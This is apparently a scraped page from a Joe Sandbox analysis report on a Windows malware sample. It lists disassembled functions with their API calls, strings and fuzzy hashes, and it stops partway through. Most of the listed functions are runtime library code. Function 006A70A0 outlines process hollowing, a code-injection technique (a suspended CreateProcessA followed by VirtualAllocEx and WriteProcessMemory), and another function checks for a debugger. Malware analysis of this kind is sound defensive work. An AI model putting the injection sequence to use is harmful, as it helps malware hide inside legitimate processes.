Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 0da8171cac030f6b45925a7c5248a00485fab8e2398974f4a4f83c3fb58f0ae8
Instruction ID: 425ce4e5520fb1d90b7e623a36a326526bd499940b6c2fd8203686efc07bfd6d
Opcode Fuzzy Hash: 0da8171cac030f6b45925a7c5248a00485fab8e2398974f4a4f83c3fb58f0ae8
Instruction Fuzzy Hash: B1014472C0129DAFCF41AFE8CC019EE7FB6AF09310F144169F914E6251E6318A65EB95

Function 006E1775 Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,006E1B65,?,?,00000000,?,006E1B65,00000000,0000000C), ref: 006E1792

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 4fe9b5803be3991b9c5790b9ee7e36e07a27a171e7bbb61b97f72e668c05240f
Instruction ID: 5cb92c41ed352367bc698f743e18786157f2478c1c8fc001f9593669666abe5c
Opcode Fuzzy Hash: 4fe9b5803be3991b9c5790b9ee7e36e07a27a171e7bbb61b97f72e668c05240f
Instruction Fuzzy Hash: A8D06C3201010DBBDF028F84DC06EDE3BAAFB48714F014100BA1856021C732E961EB90

Function 006A87B2 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(?), ref: 006A87B9

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 5f9bce53287f1991bd0ecfe2b22cdfd9eb4ccb60c03eb404574ce6f22abad4aa
Instruction ID: 5841b91b5a790aeb1f7a38919834f95b4a1152458e415f6a82114cefb976cd7f
Opcode Fuzzy Hash: 5f9bce53287f1991bd0ecfe2b22cdfd9eb4ccb60c03eb404574ce6f22abad4aa
Instruction Fuzzy Hash: 71C012680006000EEB192A3855888AC330399437A43E41B84E0728B2E3CB39AC07DA00

Function 006A87B0 Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(?), ref: 006A87B9

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 115f8dfdbfdba8e9430e1542ef3c7cb2f5d70577d6b5e23bb960f6afe0943940
Instruction ID: a5e0f2adff7313342b81a8a96deef810834cff1a419a07915ae3eca6e9fb25a8
Opcode Fuzzy Hash: 115f8dfdbfdba8e9430e1542ef3c7cb2f5d70577d6b5e23bb960f6afe0943940
Instruction Fuzzy Hash: D5C012740001004EE71D5A385548468321399037153F00B88E0324B2E3CB36DC03CE50

Non-executed Functions

Function 006BC768 Relevance: 143.7, APIs: 41, Strings: 41, Instructions: 167libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 006BC76E
GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 006BC77C
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 006BC78D
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 006BC79E
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 006BC7AF
GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 006BC7C0
GetProcAddress.KERNEL32(00000000,InitOnceExecuteOnce), ref: 006BC7D1
GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 006BC7E2
GetProcAddress.KERNEL32(00000000,CreateSemaphoreW), ref: 006BC7F3
GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 006BC804
GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 006BC815
GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 006BC826
GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 006BC837
GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 006BC848
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 006BC859
GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 006BC86A
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 006BC87B
GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 006BC88C
GetProcAddress.KERNEL32(00000000,FreeLibraryWhenCallbackReturns), ref: 006BC89D
GetProcAddress.KERNEL32(00000000,GetCurrentProcessorNumber), ref: 006BC8AE
GetProcAddress.KERNEL32(00000000,CreateSymbolicLinkW), ref: 006BC8BF
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 006BC8D0
GetProcAddress.KERNEL32(00000000,GetTickCount64), ref: 006BC8E1
GetProcAddress.KERNEL32(00000000,GetFileInformationByHandleEx), ref: 006BC8F2
GetProcAddress.KERNEL32(00000000,SetFileInformationByHandle), ref: 006BC903
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 006BC914
GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 006BC925
GetProcAddress.KERNEL32(00000000,WakeConditionVariable), ref: 006BC936
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 006BC947
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 006BC958
GetProcAddress.KERNEL32(00000000,InitializeSRWLock), ref: 006BC969
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 006BC97A
GetProcAddress.KERNEL32(00000000,TryAcquireSRWLockExclusive), ref: 006BC98B
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 006BC99C
GetProcAddress.KERNEL32(00000000,SleepConditionVariableSRW), ref: 006BC9AD
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWork), ref: 006BC9BE
GetProcAddress.KERNEL32(00000000,SubmitThreadpoolWork), ref: 006BC9CF
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWork), ref: 006BC9E0
GetProcAddress.KERNEL32(00000000,CompareStringEx), ref: 006BC9F1
GetProcAddress.KERNEL32(00000000,GetLocaleInfoEx), ref: 006BCA02
GetProcAddress.KERNEL32(00000000,LCMapStringEx), ref: 006BCA13

Strings

GetLocaleInfoEx, xrefs: 006BC9F7
SetThreadpoolTimer, xrefs: 006BC81B
GetCurrentPackageId, xrefs: 006BC8C5
FreeLibraryWhenCallbackReturns, xrefs: 006BC892
CloseThreadpoolWork, xrefs: 006BC9D5
GetCurrentProcessorNumber, xrefs: 006BC8A3
GetTickCount64, xrefs: 006BC8D6
AcquireSRWLockExclusive, xrefs: 006BC96F
SleepConditionVariableSRW, xrefs: 006BC9A2
FlsAlloc, xrefs: 006BC776
SetFileInformationByHandle, xrefs: 006BC8F8
CreateThreadpoolTimer, xrefs: 006BC80A
WakeAllConditionVariable, xrefs: 006BC93C
GetSystemTimePreciseAsFileTime, xrefs: 006BC909
FlsSetValue, xrefs: 006BC7A4
SubmitThreadpoolWork, xrefs: 006BC9C4
InitializeSRWLock, xrefs: 006BC95E
FlsFree, xrefs: 006BC782
WakeConditionVariable, xrefs: 006BC92B
ReleaseSRWLockExclusive, xrefs: 006BC991
LCMapStringEx, xrefs: 006BCA08
WaitForThreadpoolTimerCallbacks, xrefs: 006BC82C
CreateSymbolicLinkW, xrefs: 006BC8B9
CreateEventExW, xrefs: 006BC7D7
CloseThreadpoolWait, xrefs: 006BC870
CreateThreadpoolWait, xrefs: 006BC84E
InitializeConditionVariable, xrefs: 006BC91A
CreateThreadpoolWork, xrefs: 006BC9B3
CloseThreadpoolTimer, xrefs: 006BC83D
SleepConditionVariableCS, xrefs: 006BC94D
kernel32.dll, xrefs: 006BC769
FlsGetValue, xrefs: 006BC793
CreateSemaphoreW, xrefs: 006BC7E8
InitializeCriticalSectionEx, xrefs: 006BC7B5
SetThreadpoolWait, xrefs: 006BC85F
TryAcquireSRWLockExclusive, xrefs: 006BC980
GetFileInformationByHandleEx, xrefs: 006BC8E7
CompareStringEx, xrefs: 006BC9E6
FlushProcessWriteBuffers, xrefs: 006BC881
InitOnceExecuteOnce, xrefs: 006BC7C6
CreateSemaphoreExW, xrefs: 006BC7F9

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$CloseThreadpoolTimer$CloseThreadpoolWait$CloseThreadpoolWork$CompareStringEx$CreateEventExW$CreateSemaphoreExW$CreateSemaphoreW$CreateSymbolicLinkW$CreateThreadpoolTimer$CreateThreadpoolWait$CreateThreadpoolWork$FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$FlushProcessWriteBuffers$FreeLibraryWhenCallbackReturns$GetCurrentPackageId$GetCurrentProcessorNumber$GetFileInformationByHandleEx$GetLocaleInfoEx$GetSystemTimePreciseAsFileTime$GetTickCount64$InitOnceExecuteOnce$InitializeConditionVariable$InitializeCriticalSectionEx$InitializeSRWLock$LCMapStringEx$ReleaseSRWLockExclusive$SetFileInformationByHandle$SetThreadpoolTimer$SetThreadpoolWait$SleepConditionVariableCS$SleepConditionVariableSRW$SubmitThreadpoolWork$TryAcquireSRWLockExclusive$WaitForThreadpoolTimerCallbacks$WakeAllConditionVariable$WakeConditionVariable$kernel32.dll
API String ID: 667068680-295688737
Opcode ID: ceb79e5c48b093a4d6b1b731271aaefcf8ebdac7cae049972d52978d05fc4716
Instruction ID: 98d7bad46068c15fc3a6b9c618d2116c303f82e1ce264a03ea41917991e3e2a5
Opcode Fuzzy Hash: ceb79e5c48b093a4d6b1b731271aaefcf8ebdac7cae049972d52978d05fc4716
Instruction Fuzzy Hash: 51618B71952714FBD7016FB4AC0ED663AFAEB1EBC2381E616B201D6161DFB94100CF68

Function 006A70A0 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 121memoryprocessthreadCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 006A70CD
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 006A712B
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 006A7144
GetThreadContext.KERNEL32(?,00000000), ref: 006A7159
ReadProcessMemory.KERNEL32(?, ,?,00000004,00000000), ref: 006A7179
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040), ref: 006A71BB
WriteProcessMemory.KERNEL32(?,00000000,?,?,00000000), ref: 006A71D8
VirtualFree.KERNEL32(?,00000000,00008000), ref: 006A7291

Strings

VUUU, xrefs: 006A6F41
invalid stoi argument, xrefs: 006A7090
, xrefs: 006A7170

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: ProcessVirtual$AllocMemory$ContextCreateFileFreeModuleNameReadThreadWrite
String ID: $VUUU$invalid stoi argument
API String ID: 3796053839-3954507777
Opcode ID: acbb1aaeae455c63429f11e9e1758b6a4398b300b94853a4c091356e498dd353
Instruction ID: 07acd94b49218e026de60368b296cb7c75543e0d5638ec8d8cfec86511644ac2
Opcode Fuzzy Hash: acbb1aaeae455c63429f11e9e1758b6a4398b300b94853a4c091356e498dd353
Instruction Fuzzy Hash: E8416D71248301BFE7609F54DC06FAA7BEABF48B01F400519F684E6291DBB0A904CF9A

Function 006C0E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 006C0F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 006C0F62

Part of subcall function 006C265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 006C2750

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 006C0FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 006C0FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 006C103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 006C106B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 006C10C1

Strings

(, xrefs: 006C0F22

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: a199805edf19a63bcbca68511c9a20b8bc6f6de9c5c1fa58920d15af286589c7
Instruction ID: fd7daf32e0d57997193145012f5931289ab3526853c4bb79233d2ce3e2e8a19c
Opcode Fuzzy Hash: a199805edf19a63bcbca68511c9a20b8bc6f6de9c5c1fa58920d15af286589c7
Instruction Fuzzy Hash: 3CB15DB0A00615EFDB18CF58D990BBAB7B6FF49300F14816DE905AB741D734AD81CBA4

Function 006C1602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 006C2CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 006C2D0F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 006C1614

Part of subcall function 006C2E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 006C2E39
Part of subcall function 006C2E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 006C2EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 006C1746
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 006C17A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 006C17B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 006C17ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 006C180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 006C181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 006C1823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 006C183B

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: 0189bebc10ea93f8c62f6d215d6bf1be681df82ff31e50bf4b9b58fce7ec0eff
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: C7817A71E002259FCB18DFA9C594ABDB7F2FF4A304B1542ADE845AB702C730AD42CB94

Function 006E2517 Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 373timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 006E2599
_free.LIBCMT ref: 006E25BD
_free.LIBCMT ref: 006E274A
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,006F6758), ref: 006E275C
_free.LIBCMT ref: 006E2916

Strings

Xgo, xrefs: 006E2879
Xgo, xrefs: 006E2705, 006E270B

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: _free$InformationTimeZone
String ID: Xgo$Xgo
API String ID: 597776487-965435672
Opcode ID: 3c8c22acf26f8b1e5ee924a088a9e1d8a9f8ccb0c4a9642e9364de899be2abaf
Instruction ID: 405b9d74502fd2f402198e2f747e304d350c8485245a639aa2cad5e5ae2466a6
Opcode Fuzzy Hash: 3c8c22acf26f8b1e5ee924a088a9e1d8a9f8ccb0c4a9642e9364de899be2abaf
Instruction Fuzzy Hash: F9C16771A023869FDB209F6ACC61AEA7BBFEF05310F14425EE58097391EB308E46C754

Function 006E31A8 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 006E3323

Strings

1#SNAN, xrefs: 006E44BA
1#IND, xrefs: 006E44B3
1#INF, xrefs: 006E44DE
1#QNAN, xrefs: 006E44C1

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 692688fce1624a71964fb9ad40fa3793c8f146503d5f1315d9cc0f4045e04939
Instruction ID: 6633c098b3efd2f4175d332f842e1c257e245258e2e6f28f831004c313c90cc9
Opcode Fuzzy Hash: 692688fce1624a71964fb9ad40fa3793c8f146503d5f1315d9cc0f4045e04939
Instruction Fuzzy Hash: 30C24971E096688FCB24CE29DD447EAB3B6EB48304F1541EAD94DE7340EB75AE858F40

Function 006CEC48 Relevance: 9.1, APIs: 6, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 006CEC81

Part of subcall function 006C8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 006C8F50

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 006CECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 006CECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 006CED0C

Part of subcall function 006CE7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 006CE7D7
Part of subcall function 006CE7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 006CE86F
Part of subcall function 006CE7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 006CE879
Part of subcall function 006CE7AF: Concurrency::location::_Assign.LIBCMT ref: 006CE8AD
Part of subcall function 006CE7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 006CE8B5

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: f03fbf090eee233a634fd0610ab6960b79bcb1c04d3aec58fe2e2ac15d38e630
Instruction ID: 13a81df593777581593c86270506c648b4aa23faf1de7c97f4b501b79e4ff459
Opcode Fuzzy Hash: f03fbf090eee233a634fd0610ab6960b79bcb1c04d3aec58fe2e2ac15d38e630
Instruction Fuzzy Hash: 17515A71A002059BDF64EF50C895FBDB776EF44310F1480ADE9066B392CB72AE46CBA1

Function 006D6AAE Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 006D6BA6
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 006D6BB0
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 006D6BBD

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: f420a986ddbc2832c66feafee6e03a18fc67dab26c01b713551a9f1df62a67db
Instruction ID: bbd948158620544ae03ff2cffefd85cd9fbd0208f2fd3ec2d323043e6e0252ee
Opcode Fuzzy Hash: f420a986ddbc2832c66feafee6e03a18fc67dab26c01b713551a9f1df62a67db
Instruction Fuzzy Hash: 5331B3749012289BCB61DF68D8897DDBBB9BF08310F5041EAE40DA7251EB709F85CF44

Function 006E2D10 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
